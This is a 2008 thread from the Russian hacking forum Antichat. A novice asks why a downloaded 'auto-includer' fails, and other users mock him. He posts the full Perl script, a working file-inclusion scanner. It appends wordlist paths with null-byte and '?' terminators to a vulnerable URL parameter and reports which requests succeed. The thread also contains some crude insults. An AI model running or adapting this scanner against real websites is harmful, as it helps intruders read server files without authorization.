Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Автоинклудер (https://forum.antichat.xyz/showthread.php?t=73627)

Велемир 13.06.2008 15:06

Автоинклудер
 
Почему не работает ?

n0ne 13.06.2008 20:28

Луна не в той фазе. Задай нормально вопрос, мы тут не телепаты)

Велемир 13.06.2008 21:02

Гггггггггггг)).Да просто сделал как написано - ввёл путь до уязвимого параметра в скрипте сайта и вбил ентер:Р.И опять возвращает суко в С:\Автоинклудер (эт папка где он лежит =_=)

n0ne 13.06.2008 21:03

Велемир, ты покажи что за скрипт! Я не телепат ещё раз говорю.

dushq 13.06.2008 21:06

сирень голубая потомучто по небу слоны топчатся и суки не убирают за собой когда дадя вася спит на лавочке возле ментовки.

Велемир 13.06.2008 21:16

#!/usr/bin/perl
use LWP::UserAgent;

if (@ARGV < 1) {&usage(); exit();}

$|=1;

$timeout = 0;
$log_inc = 'all_links.txt';

$host = $ARGV[0]; # сервак
$search = 'GET';
#$search = 'ServerRoot';

@ends = ('%00','?','');

open PATH,$log_inc;
@paths=<PATH>;
close PATH;

foreach $end (@ends) {
foreach $path (@paths) {
chomp($path);
print "\r\nTry ".$path.$end."... ";
$answer = &query();
if($answer ne "not_find"){print "YES!!!\r\n\r\n=========================\r\n\r\n$a nswer\r\n\r\n=========================";}
else{print "NO";}
}
}

sub query()
{
#print "\r\n".$host.$path.$end."\r\n";
$sock = LWP::UserAgent->new(timeout=>$timeout);
$res = $sock->get($host.$path.$end,'USER_AGENT'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
if($res->is_success)
{
if($res->as_string =~ /$search/) { return $host.$path.$end; } else {return "not_find";}
}
else{return "not_find";}
}


sub usage()
{
print "
Vulnerability auto-includer

Usage: auto_includer.pl http://site/path_to/page.php=

"
}

Дерзайте )

n0ne 13.06.2008 23:31

Ты уверен что инклюд есть?

Велемир 14.06.2008 01:28

Хз,это мол прога Автоинклудер,которая валялась в аттаче на форуме.А есь норм инклудеры или самому писать?))))))))

Doom123 14.06.2008 03:28

ещё один... млять.. долбаные каникулы.... еслиб с помощью этого скрипта можно было бы инклюдеть на любом сайте то был бы ХАОС... чтоб его использовать нада проверить уязвим ли сайт ... уху ... а теперь спать

GreenBear 14.06.2008 03:44

Цитата:

Сообщение от Велемир
Почему не работает ?

не хочу.


Время: 11:16